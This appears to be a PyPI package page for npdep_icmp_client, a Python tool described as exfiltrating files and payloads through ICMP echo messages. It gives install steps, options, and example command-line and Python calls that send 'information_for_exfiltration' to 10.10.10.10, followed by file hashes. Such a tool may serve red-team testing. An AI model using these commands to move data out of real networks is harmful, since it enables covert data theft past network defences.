Skip to main content

A client to exfiltrate files through ICMP messages

Project description

Description

A client to exfiltrate data through ICMP messages

Installation

pip install npdep_icmp_client

Usage

From command line:

python -m npdep_icmp_client [-h] [--mode {payload,file}] --ip IP [--port PORT] --msg {echo_req,echo_rep} [--pkgSize PKGSIZE] [--filePath FILEPATH] [--payload PAYLOAD]

Option Short Type Default Description
--mode -o String file file = Sends file --filePath in --pkSize chunks per ICMP message
payload = Sends payload per ICMP message
--msg -m String - echo_req = Echo Request Message
echo_rep = Echo Reply Message
--ip -i String - IP address of destination
--port -p Int 0 Port of destination
--pkgSize -k Int 1200 Nr. of bytes to load from file under --filePath in chunks
--filePath -e String - Path to file which shall be send in mode: file
--payload -a String - Payload to be send in mode: payload

Programmatically:

from npdep_icmp_client.client.Client import Client as ICMPClient
from npdep_icmp_client.type.IcmpType import IcmpType as ICMPType

client = ICMPClient("10.10.10.10", 4567)
client.sendEchoMessage(ICMPType.ECHO_REQUEST, "information_for_exfiltration")

Example

python -m npdep_icmp_client -o payload -m echo_req -i 10.10.10.10 -a "information_for_exfiltration"

Sends information_for_exfiltration to 10.10.10.10 as an ICMP Echo request.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

npdep_icmp_client-1.0.0.tar.gz (5.3 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

npdep_icmp_client-1.0.0-py3-none-any.whl (6.7 kB view details)

Uploaded Python 3

File details

Details for the file npdep_icmp_client-1.0.0.tar.gz.

File metadata

  • Download URL: npdep_icmp_client-1.0.0.tar.gz
  • Upload date:
  • Size: 5.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.1 CPython/3.13.0

File hashes

Hashes for npdep_icmp_client-1.0.0.tar.gz
Algorithm Hash digest
SHA256 aad51c9adfd3740725e96cf39501741a5f0fe33ae3aa14d662b4367e71ef180f
MD5 eddc3cfa9c30aa9b8bc8e979b59866f0
BLAKE2b-256 55b26f3fbbcc9e991b64e57764fc4bb06374b2ae9b412063f250aa592d988bc7

See more details on using hashes here.

File details

Details for the file npdep_icmp_client-1.0.0-py3-none-any.whl.

File metadata

File hashes

Hashes for npdep_icmp_client-1.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 00c3167fecd49e663e905e86cf88b1e734b13d22dd73086264120ca28730fa9c
MD5 c4c34c53f4b1a2871376df1d687f7228
BLAKE2b-256 0850977c98bb7daef160775be1609469042b918576d804c41a6d89aaf766094f

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page